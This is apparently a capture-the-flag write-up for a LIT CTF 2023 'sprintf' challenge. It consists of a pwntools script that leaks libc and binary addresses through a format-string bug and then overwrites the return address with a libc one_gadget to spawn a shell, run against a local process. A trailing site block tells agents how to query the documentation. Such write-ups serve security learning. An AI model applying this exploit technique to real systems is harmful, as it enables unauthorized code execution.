# sprintf

### Solution

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./s_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe 

def conn():
    if args.REMOTE:
        log.failure("Too bad the event is over")
    else:
        r = process([exe.path])
    return r



def main():
    libc_offset = libc.sym["__libc_start_main"] + 243
    pie_offset = exe.sym["main"]
    for i in range(16):
        r = conn()
        p = b'%12$p|%16$p ' + b'i'*(0x38-30) + b'\x7c'
        r.sendline(p)
        leak = r.recv(29).split(b'|')
        r.recvline()
        libc.address = int(leak[0],16) - libc_offset    # return address
        exe.address = int(leak[1],16) - pie_offset      # main 
        try:
            p = b'i' * 0x38                     
            p += p64(libc.address + 0xe3b01) # one_gadget libc-2.31.so
            r.sendline(p)
            r.interactive()
        except EOFError:
            continue



if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://trees-daily-journal.gitbook.io/trees-daily-journal/ctf-writeups/lit-ctf/2023/sprintf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
